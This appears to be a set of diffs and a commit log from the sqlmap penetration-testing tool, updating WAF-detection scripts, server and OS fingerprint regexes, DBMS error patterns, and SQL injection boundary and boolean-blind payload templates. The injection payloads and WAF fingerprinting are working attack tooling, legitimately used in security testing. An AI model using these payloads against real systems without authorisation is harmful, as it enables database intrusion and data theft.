+    return retval
@@ -16,9 +16,10 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, _ = get_page(get=vector)
        retval = re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
        retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None
+        retval |= "Incapsula incident ID" in (page or "")
        if retval:
            break

@@ -16,10 +16,12 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        page, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"jiasule-WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
        retval |= re.search(r"__jsluid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
-        retval |= re.search(r"static\.jiasule\.com/static/js/http_error\.js", page, re.I) is not None
+        retval |= re.search(r"jsl_tracking", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+        retval |= re.search(r"static\.jiasule\.com/static/js/http_error\.js", page or "", re.I) is not None
+        retval |= code == 403 and "notice-jiasule" in (page or "")
        if retval:
            break

@@ -16,7 +16,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
-        retval = re.search(r"url\('/ks-waf-error\.png'\)", page, re.I) is not None
+        retval = re.search(r"url\('/ks-waf-error\.png'\)", page or "", re.I) is not None
        if retval:
            break

@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission

 import re

+from lib.core.enums import HTTP_HEADER
 from lib.core.settings import WAF_ATTACK_VECTORS

 __product__ = "KONA Security Solutions (Akamai Technologies)"
@@ -15,8 +16,9 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        page, _, code = get_page(get=vector)
-        retval = code in (400, 501) and re.search(r"Reference #[0-9A-Fa-f.]+", page, re.I) is not None
+        page, headers, code = get_page(get=vector)
+        retval = code in (400, 403, 501) and re.search(r"Reference #[0-9A-Fa-f.]+", page or "", re.I) is not None
+        retval |= re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
        if retval:
            break

@@ -17,9 +17,10 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
-        retval = code == 501 and re.search(r"Reference #[0-9A-Fa-f.]+", page, re.I) is None
+        retval = code == 501 and re.search(r"Reference #[0-9A-Fa-f.]+", page or "", re.I) is None
        retval |= re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        retval |= "This error was generated by Mod_Security" in page
+        retval |= code == 406  # specific for mod_security (and forks)
+        retval |= "This error was generated by Mod_Security" in (page or "")
        if retval:
            break

@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "NSFOCUS Web Application Firewall (NSFOCUS)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, _ = get_page(get=vector)
+        retval = re.search(r"NSFocus", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -16,7 +16,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
-        retval = re.search(r"Access[^<]+has been blocked in accordance with company policy", page, re.I) is not None
+        retval = re.search(r"Access[^<]+has been blocked in accordance with company policy", page or "", re.I) is not None
        if retval:
            break

@@ -16,7 +16,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, headers, _ = get_page(get=vector)
-        retval = re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page, re.I | re.S) is not None
+        retval = re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page or "", re.I | re.S) is not None
        retval |= headers.get("X-SL-CompState") is not None
        if retval:
            break
@@ -13,9 +13,10 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        page, _, _ = get_page(get=vector)
-        retval = "ASP.NET has detected data in the request that is potentially dangerous" in page
-        retval |= "Request Validation has detected a potentially dangerous client input value" in page
+        page, _, code = get_page(get=vector)
+        retval = "ASP.NET has detected data in the request that is potentially dangerous" in (page or "")
+        retval |= "Request Validation has detected a potentially dangerous client input value" in (page or "")
+        retval |= code == 500 and "HttpRequestValidationException" in page
        if retval:
            break

@@ -14,7 +14,7 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
-        retval = "SENGINX-ROBOT-MITIGATION" in page
+        retval = "SENGINX-ROBOT-MITIGATION" in (page or "")
        if retval:
            break

@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "TrueShield Web Application Firewall (SiteLock)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        page, _, _ = get_page(get=vector)
+        retval = "SiteLock Incident ID" in (page or "")
+        if retval:
+            break
+
+    return retval
@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "UTM Web Protection (Sophos)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        page, _, _ = get_page(get=vector)
+        retval = "Powered by UTM Web Protection" in (page or "")
+        if retval:
+            break
+
+    return retval
@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Stingray Application Firewall (Riverbed / Brocade)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, code = get_page(get=vector)
+        retval = code in (403, 500) and re.search(r"\AX-Mapping-", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
 __product__ = "Sucuri WebSite Firewall"

 def detect(get_page):
-    retVal = False
+    retval = False

    for vector in WAF_ATTACK_VECTORS:
        _, headers, code = get_page(get=vector)
-        retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        if retVal:
+        retval = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
            break

-    return retVal
+    return retval
@@ -16,8 +16,9 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = re.search(r"Rejected-By-UrlScan", headers.get(HTTP_HEADER.LOCATION, ""), re.I) is not None
+        retval |= code != 200 and re.search(r"/Rejected-By-UrlScan", page or "", re.I) is not None
        if retval:
            break

@@ -16,9 +16,11 @@ def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
-        _, headers, _ = get_page(get=vector)
+        page, headers, code = get_page(get=vector)
        retval = headers.get("X-Varnish") is not None
        retval |= re.search(r"varnish\Z", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None
+        retval |= re.search(r"varnish", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        retval |= code == 404 and re.search(r"\bXID: \d+", page or "") is not None
        if retval:
            break

@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Wallarm Web Application Firewall (Wallarm)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, _ = get_page(get=vector)
+        retval = re.search(r"nginx-wallarm", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -17,9 +17,9 @@ def detect(get_page):

    for vector in WAF_ATTACK_VECTORS:
        _, headers, code = get_page(get=vector)
-        retVal = code == 999
+        retval = code == 999
        retval |= re.search(r"WebKnight", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
-        if retVal:
+        if retval:
            break

    return retval
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import WAF_ATTACK_VECTORS
+
+__product__ = "Yundun Web Application Firewall (Yundun)"
+
+def detect(get_page):
+    retval = False
+
+    for vector in WAF_ATTACK_VECTORS:
+        _, headers, _ = get_page(get=vector)
+        retval = re.search(r"YUNDUN", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
+        retval |= re.search(r"YUNDUN", headers.get("X-Cache", ""), re.I) is not None
+        if retval:
+            break
+
+    return retval
@@ -27,23 +27,26 @@
        <info sp="4"/>
    </regexp>

-    <regexp value="Windows.*7\.5">
-        <info type="Windows" distrib="2008"/>
+    <!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
+
+    <regexp value="Windows.*10\.0">
+        <info type="Windows" distrib="2016|10"/>
    </regexp>

-    <regexp value="Windows.*7\.0">
-        <info type="Windows" distrib="Vista"/>
+    <regexp value="Windows.*6\.3">
+        <info type="Windows" distrib="2012 R2|8.1"/>
+    </regexp>
+
+    <regexp value="Windows.*6\.2">
+        <info type="Windows" distrib="2012|8"/>
    </regexp>

    <regexp value="Windows.*6\.1">
-        <info type="Windows" distrib="7"/>
+        <info type="Windows" distrib="2008 R2|7"/>
    </regexp>

    <regexp value="Windows.*6\.0">
-        <!-- TODO: verify this
-        <info type="Windows" distrib="Vista"/>
-        -->
-        <info type="Windows" distrib="2003"/>
+        <info type="Windows" distrib="2008|Vista"/>
    </regexp>

    <regexp value="Windows.*5\.2">
@@ -9,6 +9,10 @@
 <root>
    <!-- Microsoft IIS -->

+    <regexp value="Microsoft-IIS/(10\.0)">
+        <info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|10"/>
+    </regexp>
+
    <regexp value="Microsoft-IIS/(8\.5)">
        <info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2012 R2|8.1"/>
    </regexp>
@@ -82,7 +86,7 @@
    </regexp>

    <regexp value="Apache/2\.2\.15 \(CentOS\)">
-        <info type="Linux" distrib="CentOS" release="6.5"/>
+        <info type="Linux" distrib="CentOS" release="6.8"/>
    </regexp>

    <!-- Apache: Debian -->
@@ -147,6 +151,14 @@
        <info type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
    </regexp>

+    <regexp value="Apache/2\.4\.10 \(Debian\)">
+        <info type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.18 \(Debian\)">
+        <info type="Linux" distrib="Debian" release="9.0" codename="jessie (testing)"/>
+    </regexp>
+
    <!-- Apache: Fedora -->

    <regexp value="Apache/2\.0\.47 \(Fedora\)">
@@ -249,6 +261,18 @@
        <info type="Linux" distrib="Fedora" release="20" codename="Heisenbug"/>
    </regexp>

+    <regexp value="Apache/2\.4\.10 \(Fedora\)">
+        <info type="Linux" distrib="Fedora" release="21"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.12 \(Fedora\)">
+        <info type="Linux" distrib="Fedora" release="22"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.16 \(Fedora\)">
+        <info type="Linux" distrib="Fedora" release="23"/>
+    </regexp>
+
    <!-- Apache: FreeBSD -->

    <regexp value="Apache/2\.0\.16 \(FreeBSD\)">
@@ -347,6 +371,14 @@
        <info type="FreeBSD" release="9.2"/>
    </regexp>

+    <regexp value="Apache/2\.4\.9 \(FreeBSD\)">
+        <info type="FreeBSD" release="9.3"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.16 \(FreeBSD\)">
+        <info type="FreeBSD" release="10.3"/>
+    </regexp>
+
    <!-- Apache: Mandrake / Mandriva -->

    <regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
@@ -642,6 +674,10 @@
        <info type="Linux" distrib="SuSE" release="13.1"/>
    </regexp>

+    <regexp value="Apache/2\.4\.10 \(Linux/SuSE\)">
+        <info type="Linux" distrib="SuSE" release="13.2"/>
+    </regexp>
+
    <!-- Apache: Ubuntu -->

    <regexp value="Apache/2\.0\.50 \(Ubuntu\)">
@@ -708,6 +744,18 @@
        <info type="Linux" distrib="Ubuntu" release="13.10" codename="Saucy Salamander"/>
    </regexp>

+    <regexp value="Apache/2\.4\.10 \(Ubuntu\)">
+        <info type="Linux" distrib="Ubuntu" release="14.10|15.04" codename="utopic|vivid"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.12 \(Ubuntu\)">
+        <info type="Linux" distrib="Ubuntu" release="15.10" codename="willy"/>
+    </regexp>
+
+    <regexp value="Apache/2\.4\.18 \(Ubuntu\)">
+        <info type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
+    </regexp>
+
    <!-- Nginx -->

    <regexp value="nginx/([\w\.]+)">
@@ -31,6 +31,7 @@ Tag: <boundary>
            6: TOP
            7: Table name
            8: Column name
+            9: Pre-WHERE (non-query)

        A comma separated list of these values is also possible.

@@ -80,7 +81,7 @@ Formats:
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>)</prefix>
-        <suffix></suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -89,7 +90,7 @@ Formats:
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>')</prefix>
-        <suffix></suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -98,7 +99,7 @@ Formats:
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>'</prefix>
-        <suffix></suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -107,7 +108,7 @@ Formats:
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>"</prefix>
-        <suffix></suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>
    <!-- End of generic boundaries -->

@@ -406,7 +407,7 @@ Formats:
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix></prefix>
-        <suffix>-- [RANDSTR]</suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -422,56 +423,92 @@ Formats:
    <!-- Pre-WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)"-->
    <boundary>
        <level>5</level>
-        <clause>1</clause>
+        <clause>9</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>') WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
        <level>5</level>
-        <clause>1</clause>
+        <clause>9</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
-        <clause>1</clause>
+        <clause>9</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>) WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
-        <clause>1</clause>
+        <clause>9</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
        <level>5</level>
-        <clause>1</clause>
+        <clause>9</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
-        <clause>1</clause>
+        <clause>9</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix> WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>9</clause>
+        <where>1</where>
+        <ptype>2</ptype>
+        <prefix>'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>)||'</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>9</clause>
+        <where>1</where>
+        <ptype>2</ptype>
+        <prefix>'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>)||'</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>9</clause>
+        <where>1</where>
+        <ptype>1</ptype>
+        <prefix>'+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>)+'</suffix>
+    </boundary>
+
+    <boundary>
+        <level>5</level>
+        <clause>9</clause>
+        <where>1</where>
+        <ptype>2</ptype>
+        <prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
+        <suffix>)+'</suffix>
    </boundary>
    <!-- End of pre-WHERE generic boundaries -->

@@ -482,7 +519,7 @@ Formats:
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -491,7 +528,7 @@ Formats:
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -500,7 +537,7 @@ Formats:
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>)) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -509,7 +546,7 @@ Formats:
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -518,7 +555,7 @@ Formats:
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -527,7 +564,7 @@ Formats:
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -536,7 +573,7 @@ Formats:
        <where>1</where>
        <ptype>1</ptype>
        <prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>

    <boundary>
@@ -545,48 +582,10 @@ Formats:
        <where>1</where>
        <ptype>1</ptype>
        <prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>-- </suffix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
    </boundary>
    <!-- End of pre-WHERE derived table boundaries -->

-    <!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)||'</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)||'</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1</where>
-        <ptype>1</ptype>
-        <prefix>'+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)+'</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)+'</suffix>
-    </boundary>
-    <!-- End of INSERT/UPDATE generic boundaries -->
-
    <!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
    <boundary>
        <level>4</level>
@@ -7,6 +7,7 @@
        <error regexp="Warning.*mysql_.*"/>
        <error regexp="MySqlException \(0x"/>
        <error regexp="valid MySQL result"/>
+        <error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
        <error regexp="MySqlClient\."/>
        <error regexp="com\.mysql\.jdbc\.exceptions"/>
    </dbms>
@@ -31,6 +32,7 @@
        <error regexp="\bSQL Server.*[0-9a-fA-F]{8}"/>
        <error regexp="(?s)Exception.*\WSystem\.Data\.SqlClient\."/>
        <error regexp="(?s)Exception.*\WRoadhouse\.Cms\."/>
+        <error regexp="Microsoft SQL Native Client.*[0-9a-fA-F]{8}"/>
    </dbms>

    <!-- Microsoft Access -->
@@ -43,7 +45,7 @@

    <!-- Oracle -->
    <dbms value="Oracle">
-        <error regexp="\bORA-[0-9][0-9][0-9][0-9]"/>
+        <error regexp="\bORA-\d{5}"/>
        <error regexp="Oracle error"/>
        <error regexp="Oracle.*Driver"/>
        <error regexp="Warning.*\Woci_.*"/>
@@ -55,7 +57,7 @@
        <error regexp="CLI Driver.*DB2"/>
        <error regexp="DB2 SQL error"/>
        <error regexp="\bdb2_\w+\("/>
-        <error regexp="(?i)SQLSTATE.+SQLCODE"/>
+        <error regexp="SQLSTATE.+SQLCODE"/>
    </dbms>

    <!-- Informix -->
@@ -87,7 +89,7 @@

    <!-- Sybase -->
    <dbms value="Sybase">
-        <error regexp="(?i)Warning.*sybase.*"/>
+        <error regexp="Warning.*sybase.*"/>
        <error regexp="Sybase message"/>
        <error regexp="Sybase.*Server message.*"/>
        <error regexp="SybSQLException"/>
@@ -53,6 +53,7 @@ Tag: <test>
            6: TOP
            7: Table name
            8: Column name
+            9: Pre-WHERE (non-query)

        A comma separated list of these values is also possible.

@@ -159,7 +160,7 @@ Tag: <test>
        <stype>1</stype>
        <level>1</level>
        <risk>1</risk>
-        <clause>1</clause>
+        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [INFERENCE]</vector>
        <request>
@@ -175,7 +176,7 @@ Tag: <test>
        <stype>1</stype>
        <level>1</level>
        <risk>3</risk>
-        <clause>1</clause>
+        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [INFERENCE]</vector>
        <request>
@@ -191,7 +192,7 @@ Tag: <test>
        <stype>1</stype>
        <level>3</level>
        <risk>3</risk>
-        <clause>1</clause>
+        <clause>1,9</clause>
        <where>1</where>
        <vector>OR NOT [INFERENCE]</vector>
        <request>
@@ -212,7 +213,7 @@ Tag: <test>
        <vector>AND [INFERENCE]</vector>
        <request>
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
-            <comment>-- -</comment>
+            <comment>[GENERIC_SQL_COMMENT]</comment>
        </request>
        <response>
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
@@ -229,7 +230,7 @@ Tag: <test>
        <vector>OR [INFERENCE]</vector>
        <request>
            <payload>OR [RANDNUM]=[RANDNUM]</payload>
-            <comment>-- -</comment>
+            <comment>[GENERIC_SQL_COMMENT]</comment>
        </request>
        <response>
            <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
@@ -246,7 +247,7 @@ Tag: <test>
        <vector>OR NOT [INFERENCE]</vector>
        <request>
            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
-            <comment>-- -</comment>
+            <comment>[GENERIC_SQL_COMMENT]</comment>
        </request>
        <response>
            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
@@ -915,6 +916,39 @@ Tag: <test>
            <dbms>SAP MaxDB</dbms>
        </details>
    </test>
+
+    <!-- Works in MySQL, Oracle, etc. -->
+    <test>
+        <title>Boolean-based blind - Parameter replace (DUAL)</title>
+        <stype>1</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>3</where>
+        <vector>(CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector>
+        <request>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload>
+        </request>
+        <response>
+            <comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison>
+        </response>
+    </test>
+
+    <test>
+        <title>Boolean-based blind - Parameter replace (DUAL) (original value)</title>
+        <stype>1</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>3</where>
+        <vector>(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</vector>
+        <request>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</payload>
+        </request>
+        <response>
+            <comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)</comparison>
+        </response>
+    </test>
    <!-- End of boolean-based blind tests - Parameter replace -->

    <!-- Boolean-based blind tests - ORDER BY, GROUP BY clause -->
--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
Miroslav Stampar	0c07c8942c	Automatic monthly tagging	2016-06-01 10:44:08 +02:00
Miroslav Stampar	7d1bdb35ca	Update of parsed versions	2016-06-01 10:44:08 +02:00
Miroslav Stampar	e823889819	Update for JSP exceptions	2016-05-31 15:35:10 +02:00
Miroslav Stampar	680aedaefc	Adding option --tmp-dir	2016-05-31 14:55:56 +02:00
Miroslav Stampar	afdca09ced	Minor patches (proper user warnings in case of output directory permissions)	2016-05-31 14:05:35 +02:00
Miroslav Stampar	ac89ee71c3	Minor improvement	2016-05-31 13:29:43 +02:00
Miroslav Stampar	af7c8cff92	Bug fix (previously removing temporary directory even if it is needed afterwards)	2016-05-31 13:21:08 +02:00
Miroslav Stampar	26d4dec5fb	Minor refactoring	2016-05-31 13:02:26 +02:00
Miroslav Stampar	cf31d12528	Adding support for python's cgitb tracebacks	2016-05-31 12:33:56 +02:00
Miroslav Stampar	b4c730f8c0	Minor refactoring	2016-05-31 12:23:59 +02:00
Miroslav Stampar	fba1720b31	Minor patch	2016-05-31 11:16:13 +02:00
Miroslav Stampar	9fad72f28b	Adding support for MsAccess usage of parsed FROM table names (e.g. in case of ColdFusion)	2016-05-31 11:08:23 +02:00
Miroslav Stampar	1782bf8e64	Adding support for parsing ODBC/JDBC error messages	2016-05-31 10:49:34 +02:00
Miroslav Stampar	2d59a10515	Better patch than last commit	2016-05-31 10:25:01 +02:00
Miroslav Stampar	21a25c4f00	Bug for fix comments in case of MsAccess	2016-05-31 10:24:13 +02:00
Miroslav Stampar	6b5c16c22c	Minor update for ColdFusion error messages	2016-05-31 09:54:14 +02:00
Miroslav Stampar	2c6621c26a	Minor upgrade for WAF/IDS/IPS detection	2016-05-31 09:49:50 +02:00
Miroslav Stampar	f0500b1d2f	Minor update for ColdFusion path regexes	2016-05-31 09:35:58 +02:00
Miroslav Stampar	6a033bb58c	Minor update for ColdFusion type casting	2016-05-31 09:31:32 +02:00
Miroslav Stampar	2fa4b22645	Patch for URL encoding cookie values (asking the user to choose)	2016-05-30 17:47:08 +02:00
